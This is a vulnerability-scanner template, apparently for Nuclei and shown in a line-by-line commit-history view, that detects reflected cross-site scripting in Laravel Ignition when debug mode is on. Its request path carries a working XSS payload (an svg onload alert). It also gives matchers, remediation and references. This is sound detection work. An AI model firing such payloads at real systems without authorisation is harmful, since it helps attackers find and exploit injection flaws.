2022-01-26 21:45:48 +00:00
|
|
|
id: laravel-ignition-xss
|
|
|
|
|
|
|
|
info:
|
2022-09-21 21:42:27 +00:00
|
|
|
name: Laravel Ignition - Cross-Site Scripting
|
2022-01-26 21:45:48 +00:00
|
|
|
author: 0x_Akoko
|
2022-09-21 21:42:27 +00:00
|
|
|
severity: high
|
2022-05-20 21:38:52 +00:00
|
|
|
description: |
|
2022-09-21 21:42:27 +00:00
|
|
|
Laravel Ignition contains a cross-site scripting vulnerability when debug mode is enabled.
|
2022-05-20 21:38:52 +00:00
|
|
|
remediation: |
|
2022-09-21 21:42:27 +00:00
|
|
|
Disable debug mode by setting APP_DEBUG to false.
|
2022-01-26 21:45:48 +00:00
|
|
|
reference:
|
|
|
|
- https://www.acunetix.com/vulnerabilities/web/laravel-ignition-reflected-cross-site-scripting/
|
2022-01-27 09:15:41 +00:00
|
|
|
- https://github.com/facade/ignition/issues/273
|
2022-09-21 21:42:27 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 7.2
|
|
|
|
cwe-id: CWE-79
|
2022-01-27 09:15:41 +00:00
|
|
|
tags: laravel,xss,ignition
|
2022-01-26 21:45:48 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
2022-01-27 09:15:41 +00:00
|
|
|
- "{{BaseURL}}/_ignition/scripts/--><svg%20onload=alert(document.domain)>"
|
2022-01-26 21:45:48 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
2022-01-27 09:15:41 +00:00
|
|
|
words:
|
|
|
|
- "Undefined index: --><svg onload=alert(document.domain)> in file"
|
2022-01-26 21:45:48 +00:00
|
|
|
|
|
|
|
- type: word
|
2022-01-27 09:15:41 +00:00
|
|
|
part: header
|
2022-01-26 21:45:48 +00:00
|
|
|
words:
|
|
|
|
- "text/html"
|
2022-05-20 21:38:52 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 500
|
2022-09-21 21:42:27 +00:00
|
|
|
|
|
|
|
# Enhanced by md on 2022/09/19
|